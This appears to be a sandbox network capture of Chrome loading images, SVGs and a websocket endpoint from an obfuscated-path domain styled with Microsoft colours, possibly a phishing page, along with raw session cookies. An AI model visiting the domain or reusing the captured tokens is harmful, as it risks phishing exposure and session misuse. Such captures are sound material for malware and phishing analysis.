2024-04-24 21:08:05 UTC	657	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:05 GMT Content-Type: image/png Content-Length: 1400 Connection: close Content-Disposition: inline; filename="ijnd9WI2swr3KhCMK2bXk7NO7Iop5ndR6Sx7dTSErq3S0c1Qe36iT8Iyz228" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xway%2FTx53Eugxn2hRlQ8m7Z%2BKwlm0ULWT7s8ekyveyc%2B5h%2FRdnLnWZr6j1WkUHIh9OUtSp2UkuTtd10UHeyEhzE37lw2rOnsSScKExDJCNCav8%2FcdIQi1wf7BCe45A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8799110848287bf1-LAX
2024-04-24 21:08:05 UTC	712	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 6c 00 00 00 18 08 06 00 00 00 1f d5 18 1a 00 00 05 3f 49 44 41 54 68 43 ed 58 bd 6e 13 41 10 be 4b d2 d0 20 87 b4 48 38 bc 00 c9 13 10 37 50 c6 ee 91 70 9e 00 e7 af 26 ae f3 83 f3 04 18 89 3e 97 92 34 98 27 c0 79 81 60 24 5a c0 d0 d0 24 31 df b7 9a 39 8d 97 3b bc 91 0c 77 91 7c d2 c9 f6 7a 76 76 76 be f9 8f 7f d6 1f 8e a2 b0 e7 db dd e4 62 e9 e5 59 f4 15 e4 f7 42 b6 b4 9f 44 71 08 dd 8c 26 5c 03 f1 0c b0 70 65 95 81 72 06 58 19 50 b8 81 0c 33 c0 6e a0 ac 7f 4d da 6a b5 aa f3 f3 f3 2b a3 d1 a8 72 7d 7d 9d 74 3a 9d a1 7f 66 61 80 6d 6d 6d 35 55 18 08 d9 df df df ef e7 29 64 77 77 77 e5 ea ea 6a 85 ff c7 71 3c 3c 3c 3c 4c f8 7d 67 67 67 0d 1f eb 97 97 97 ed ac cb fd 6b 05 4f 93 3f f4 d1 c2 dd 5e 82 67 Data Ascii: PNGIHDRl?IDAThCXnAK H87Pp&>4'y`$Z$19;w\|zvvvbYBDq&\perXP3nMj+r}}t:fammm5U)dwwwjq<<<<L}gggkO?^g
2024-04-24 21:08:05 UTC	688	IN	Data Raw: 65 7e 71 8a 26 e8 36 af 32 42 e0 7d c3 2a 56 ce 70 f2 9b 42 c9 f2 22 0d ef ca 27 c1 9e 4d 18 01 73 f0 73 91 99 b2 fa 1e 56 25 2d d6 3f 38 79 43 14 3f 6d 1a 1f b0 85 85 05 7a 09 15 9d 26 5d 5c 98 56 4e eb 73 1e 85 d0 f2 6a 12 60 c6 ea 19 02 6b 59 ad 82 05 0c fc 36 34 d4 59 10 ec ba 28 5f 65 61 5b e1 72 8c c8 1b 31 42 f8 e7 18 d9 1d bd 17 35 18 02 e9 c5 69 a1 75 a3 1c 16 bd fd 1e e6 61 51 f4 2b 7a b6 78 7f f4 2e fa 82 b3 82 3c 2c 7e 1a e6 61 cc 1d 10 7a 2c bc 49 85 54 87 62 da 50 ea 5e 08 60 ba 07 f2 8d 79 aa 35 38 0b 18 2c 7c 51 fb b7 bc 75 dd ab 2d 84 86 5f 95 97 ff fb 6d 85 31 1c e7 91 f6 7c 6b ac 6a 18 37 05 2c 78 f8 0b c0 96 00 58 f0 f0 17 80 65 7a b0 ef 61 04 8c 8d b4 58 de 00 8a 5c 45 98 24 80 15 2d f7 03 01 73 a0 ff ad 2f b3 39 4c fb 39 2a d4 28 39 Data Ascii: e~q&62B}VpB"'MssV%-?8yC?mz&]\VNsj`kY64Y(_ea[r1B5iuaQ+zx.<,~az,ITbP^`y58,\|Qu-_m1\|kj7,xXezaX\E$-s/9L9(9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49768	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:04 UTC	1289	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: jcq36.einewomi.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://jcq36.einewomi.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D Sec-WebSocket-Key: 54sAzKuJULwEb+9hbp4ThQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-04-24 21:08:05 UTC	589	IN	HTTP/1.1 400 Bad Request Date: Wed, 24 Apr 2024 21:08:05 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mKz8pgkI%2BxcthB%2F6P3tpgJ%2FX%2BV09jp8z4saEI%2BqSPXEOANMnL%2Bgc2Rb6v22m3W%2FzThsYvopKqA4WhjMPRQYulzKwog28NeqwFAS1X2C6nDQYDNVLBt7BYmAWk2MrBJ2X%2FV3u2Nc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879911088d281032-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 21:08:05 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-04-24 21:08:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49772	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:04 UTC	1491	OUT	GET /klnKXIDTw6njKjUToXUWnIfQmP23S5BdZkCuZ9bmo56EPKEf8G6ddzcLmhpUXmMDwx219 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
2024-04-24 21:08:05 UTC	676	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:05 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="klnKXIDTw6njKjUToXUWnIfQmP23S5BdZkCuZ9bmo56EPKEf8G6ddzcLmhpUXmMDwx219" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kGP%2BKXJDHZCEFmTVPeJMjeAWT8AkWbunx3%2F%2BJhG9xH5n%2F4SXRFzeoO6Y%2BnCZDhGwAmj03LxN7AycfBPCP0S99PbFqgtwOsr4Q04pMowAfn08MqQl9hFEDehT9OqMYA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879911084c3d7ce9-LAX
2024-04-24 21:08:05 UTC	693	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-04-24 21:08:05 UTC	1178	IN	Data Raw: 39 38 2d 34 32 34 2e 34 34 35 20 31 32 31 35 2e 36 20 32 36 35 2e 38 20 31 32 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 33 39 33 2e 36 29 20 72 6f 74 61 74 65 28 39 30 29 20 73 63 61 6c 65 28 31 34 30 31 2e 36 20 31 37 32 30 2e 38 29 22 3e 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 31 30 37 63 31 30 22 2f 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 Data Ascii: 98-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" s
2024-04-24 21:08:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49771	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:04 UTC	1477	OUT	GET /qrLs7Dn8lp4Gow0sl0LIw3toGAEsOGXef8pFFrJ39Ftha1Mn4N45137 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
2024-04-24 21:08:05 UTC	647	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:05 GMT Content-Type: image/png Content-Length: 727 Connection: close Content-Disposition: inline; filename="qrLs7Dn8lp4Gow0sl0LIw3toGAEsOGXef8pFFrJ39Ftha1Mn4N45137" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vS3TjkPely2esOGy9hJVGYucUfzRIvjyr2P8vrEO8oyosv65wnwsRi0W1dKGupLiP%2B2U%2B4jWFcTBz9tuPumTXTZ3bkiob4DSXJ8bBNbcWFoJFUbaI5ckBzR3%2B3DzcQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8799110859aa0fc1-LAX
2024-04-24 21:08:05 UTC	722	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 06 00 00 00 57 02 f9 87 00 00 02 9e 49 44 41 54 68 43 ed 97 81 51 1c 31 0c 45 8f 0e a0 83 a3 03 e8 60 a9 00 a8 20 a4 02 a0 82 90 0a a0 03 ae 83 90 0a b2 54 00 1d e4 3a 80 0e c8 7f 37 72 c6 ec dc ad e5 b5 73 77 3b 59 cf 68 18 f6 64 4b 5f 5f 92 e5 83 d9 c8 d7 c1 c8 fd 9f 4d 00 76 cd e0 c4 c0 c4 40 61 04 fe df 14 6a 9a e6 50 c1 3b 91 9c 4b 1a 09 ff b3 5e 25 ef 92 e7 b6 6d 17 85 01 4e 6e 1f c4 80 9c bf d1 c9 d7 92 79 d2 c2 6c f6 5d 40 ee 1c 7a 83 54 b2 00 58 d4 1f 65 e9 c2 ac b5 44 5a f2 24 59 1a 0b b0 12 98 e1 6f 60 e5 4c 40 60 a6 ea 72 03 30 e7 7f 99 73 38 42 64 1f fa bc 31 a6 ee 4d 87 3d c7 b5 41 e4 00 f8 61 91 27 c7 2f e5 08 11 4f 2e 81 80 05 40 34 12 6d 6b cf 92 9b 32 14 5c 00 a2 Data Ascii: PNGIHDR00WIDAThCQ1E` T:7rsw;YhdK__Mv@ajP;K^%mNnyl]@zTXeDZ$Yo`L@`r0s8Bd1M=Aa'/O.@4mk2\
2024-04-24 21:08:05 UTC	5	IN	Data Raw: 44 ae 42 60 82 Data Ascii: DB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49773	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:04 UTC	1483	OUT	GET /mn2tvkDL0be18LjQsWGZKqwE0CYAeDAtybmuvh00UnDQUQO7h4eUGNnD90145 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
2024-04-24 21:08:05 UTC	664	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:05 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="mn2tvkDL0be18LjQsWGZKqwE0CYAeDAtybmuvh00UnDQUQO7h4eUGNnD90145" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EK%2BGmheE1G27r6SrlHmArwqjBEvgYQjsDJCcGn0zVVvqIVHsxFyHG8tguvL%2FlWoFlUjsb3B4ZmT78kYS6410w%2Fnh7QB43aVVwLty5AJ5cT9xOTWjSwAsuZDnBfYY9A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8799110859cc2eae-LAX
2024-04-24 21:08:05 UTC	277	IN	Data Raw: 31 30 65 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 20 31 32 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 36 2e 37 2c 36 2c 31 32 2c 31 31 2e 33 30 39 2c 31 31 2e 33 30 39 2c 31 32 2c 36 2c 36 2e 37 2e 36 39 31 2c 31 32 2c 30 2c 31 31 2e 33 30 39 2c 35 2e 33 2c 36 2c 30 2c 2e 36 39 31 2e 36 39 31 2c 30 2c 36 2c 35 2e 33 2c 31 31 2e 33 30 39 2c 30 2c 31 32 2c 2e 36 39 31 5a 22 20 66 69 Data Ascii: 10e<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fi
2024-04-24 21:08:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49776	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:04 UTC	1476	OUT	GET /ijOfinxA7CvHEQtqSiH0dm44FbnCcdGY7Mn76sJFMRmjfT6Mk78168 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
2024-04-24 21:08:05 UTC	663	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:05 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="ijOfinxA7CvHEQtqSiH0dm44FbnCcdGY7Mn76sJFMRmjfT6Mk78168" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VHQlK8olKbscix2sNg9h%2FH1qgGlO3048Ur%2BSnJ050sFJvm%2FOFuFHG0BabAHv3hBHNXoci%2Brhk0Z%2FwkMIBj4sn3w8LDNcSMPKTw8g%2BOfCuvN9393tkqP6K2qumSYRvA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8799110c5d2d28f7-LAX
2024-04-24 21:08:05 UTC	706	IN	Data Raw: 31 63 64 65 0d 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 3c 6d 61 73 6b 20 69 64 3d 22 30 37 62 32 36 30 33 34 2d 35 36 61 33 2d 34 39 64 32 2d 38 66 32 36 2d 63 37 62 38 34 65 62 34 65 65 64 34 22 20 66 69 6c 6c 3d 22 23 66 66 66 66 66 66 22 3e 0d 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 33 2e 39 37 36 32 20 30 43 31 36 2e 38 32 34 34 20 30 20 31 30 2e 39 37 30 37 20 35 2e 32 34 33 32 35 20 31 Data Ascii: 1cde<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff"><path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 1
